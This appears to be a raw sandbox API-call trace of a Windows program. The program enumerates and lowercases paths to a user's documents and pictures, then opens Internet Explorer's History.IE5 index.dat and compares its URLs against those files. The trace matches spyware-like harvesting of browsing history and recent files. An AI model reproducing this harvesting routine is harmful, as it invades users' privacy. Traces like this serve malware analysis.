	[0098.901] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/Zbmp3OzTNs-_tZwszsj.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf"
	[0098.901] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/UUNxjvmK-zJHQQ%20A.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif"
	[0098.901] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/NeeDLUS0aZvsPhMmW6Z.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx"
	[0098.901] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/rPro3YV6Z7EZEncRmh.jpg" | out: _Str="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg"
	[0098.902] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/0q4PHTvDiubHGt70X.ods" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods"
	[0098.902] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/M0PUcZV9MVtq89/vBKNUxIFja8a3sMZLJ.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp"
	[0098.902] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/8y78Ct0OnkxJH0jaIDTh.docx" | out: _Str="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx"
	[0098.902] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/ph_t9IvE4A.gif" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif"
	[0098.902] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/p8yFgt4OXpBtzF0k_Bpz.jpg" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg"
	[0098.903] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/_DfS.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg"
	[0098.903] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/O9ktbmmwOdelSP.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp"
	[0098.903] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Ikf8E692kmkH_fO6.png" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png"
	[0098.904] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/k_VzZFxu6ATO.png" | out: _Str="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png"
	[0098.904] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/znz_9cyx.png" | out: _Str="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned="file:///c:/users/aetadzjz/desktop/znz_9cyx.png"
	[0098.904] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/iW9E8GKbCYJwFy93oC.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png"
	[0098.904] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/TdMGT2FmEED.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv"
	[0098.904] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/SNSKkCVVzd7W1.xls" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls"
	[0098.905] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/XI5-8zU1WZV%20KJhPvE%20a.rtf" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf"
	[0098.905] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/H2IzLu1uFor.xls" | out: _Str="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls"
	[0098.905] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/WNWzxYqA2wELMZGrZTT.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt"
	[0098.905] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/AAN0pmCrLpYd.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png"
	[0098.905] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/SS%20BRAID%20PO.doc.rtf" | out: _Str="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf"
	[0098.906] wcscat (in: _Dest=0x18a994, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\"
	[0098.906] wcscat (in: _Dest=0x18a994, _Source="Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low"
	[0098.906] wcscat (in: _Dest=0x189ac0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\"
	[0098.906] wcscat (in: _Dest=0x189ac0, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*"
	[0098.906] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*", lpFindFileData=0x189d48 | out: lpFindFileData=0x189d48) returned 0x60f7d8
	[0098.906] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d
	[0098.906] wcslen (_String=".") returned 0x1
	[0098.906] wcscpy (in: _Dest=0x189f98, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low"
	[0098.906] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d
	[0098.906] wcscat (in: _Dest=0x189f98, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\"
	[0098.906] wcscat (in: _Dest=0x189f98, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\."
	[0098.906] wcscat (in: _Dest=0x189f98, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\"
	[0098.906] wcscat (in: _Dest=0x189f98, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\.."
	[0098.906] wcscat (in: _Dest=0x189f98, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\"
	[0098.906] wcscat (in: _Dest=0x189f98, _Source="desktop.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\desktop.ini"
	[0098.906] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5
	[0098.906] FindNextFileW (in: hFindFile=0x60f7d8, lpFindFileData=0x189d48 | out: lpFindFileData=0x189d48) returned 1
	[0098.907] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d
	[0098.907] wcslen (_String="History.IE5") returned 0xb
	[0098.907] wcscpy (in: _Dest=0x189f98, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low"
	[0098.907] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3d
	[0098.907] wcscat (in: _Dest=0x189f98, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\"
	[0098.907] wcscat (in: _Dest=0x189f98, _Source="History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
	[0098.907] wcscmp (_String1="History.IE5", _String2="..") returned 1
	[0098.907] wcscmp (_String1="History.IE5", _String2=".") returned 1
	[0098.907] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.907] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.907] wcslen (_String="*.*") returned 0x3
	[0098.907] wcscpy (in: _Dest=0x1890c4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
	[0098.907] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.907] wcscat (in: _Dest=0x1890c4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
	[0098.907] wcscat (in: _Dest=0x1890c4, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*"
	[0098.907] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18934c | out: lpFindFileData=0x18934c) returned 0x60f818
	[0098.950] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.950] wcslen (_String=".") returned 0x1
	[0098.950] wcscpy (in: _Dest=0x18959c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
	[0098.950] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.950] wcscat (in: _Dest=0x18959c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
	[0098.950] wcscat (in: _Dest=0x18959c, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\."
	[0098.950] wcscmp (_String1=".", _String2="..") returned -1
	[0098.950] wcscmp (_String1=".", _String2=".") returned 0
	[0098.950] _wcsicmp (_String1=".", _String2="index.dat") returned -59
	[0098.950] FindNextFileW (in: hFindFile=0x60f818, lpFindFileData=0x18934c | out: lpFindFileData=0x18934c) returned 1
	[0098.950] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.950] wcslen (_String="..") returned 0x2
	[0098.950] wcscpy (in: _Dest=0x18959c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
	[0098.950] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.950] wcscat (in: _Dest=0x18959c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
	[0098.950] wcscat (in: _Dest=0x18959c, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\.."
	[0098.950] wcscmp (_String1="..", _String2="..") returned 0
	[0098.950] _wcsicmp (_String1="..", _String2="index.dat") returned -59
	[0098.950] FindNextFileW (in: hFindFile=0x60f818, lpFindFileData=0x18934c | out: lpFindFileData=0x18934c) returned 1
	[0098.950] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.950] wcslen (_String="desktop.ini") returned 0xb
	[0098.950] wcscpy (in: _Dest=0x18959c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
	[0098.950] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.950] wcscat (in: _Dest=0x18959c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
	[0098.950] wcscat (in: _Dest=0x18959c, _Source="desktop.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\desktop.ini"
	[0098.950] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5
	[0098.950] FindNextFileW (in: hFindFile=0x60f818, lpFindFileData=0x18934c | out: lpFindFileData=0x18934c) returned 1
	[0098.950] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.950] wcslen (_String="index.dat") returned 0x9
	[0098.950] wcscpy (in: _Dest=0x18959c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
	[0098.951] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49
	[0098.951] wcscat (in: _Dest=0x18959c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
	[0098.951] wcscat (in: _Dest=0x18959c, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat"
	[0098.951] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0
	[0098.951] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0
	[0098.997] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.997] ReadFile (in: hFile=0xc0, lpBuffer=0x18901c, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x182ce4, lpOverlapped=0x0 | out: lpBuffer=0x18901c*, lpNumberOfBytesRead=0x182ce4*=0x20, lpOverlapped=0x0) returned 1
	[0098.998] GetFileSize (in: hFile=0xc0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000
	[0098.998] SetFilePointer (in: hFile=0xc0, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0098.998] ReadFile (in: hFile=0xc0, lpBuffer=0x186f1c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x182cc4, lpOverlapped=0x0 | out: lpBuffer=0x186f1c*, lpNumberOfBytesRead=0x182cc4*=0x8, lpOverlapped=0x0) returned 1
	[0098.998] _memicmp (_Buf1=0x186f1c, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.998] SetFilePointer (in: hFile=0xc0, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
	[0098.998] ReadFile (in: hFile=0xc0, lpBuffer=0x186f1c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x182cc0, lpOverlapped=0x0 | out: lpBuffer=0x186f1c*, lpNumberOfBytesRead=0x182cc0*=0x100, lpOverlapped=0x0) returned 1
	[0098.998] _strlwr (in: _Str="http://www.msn.com/" | out: _Str="http://www.msn.com/") returned="http://www.msn.com/"
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2=":host: computer") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned 1
	[0098.999] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned 1
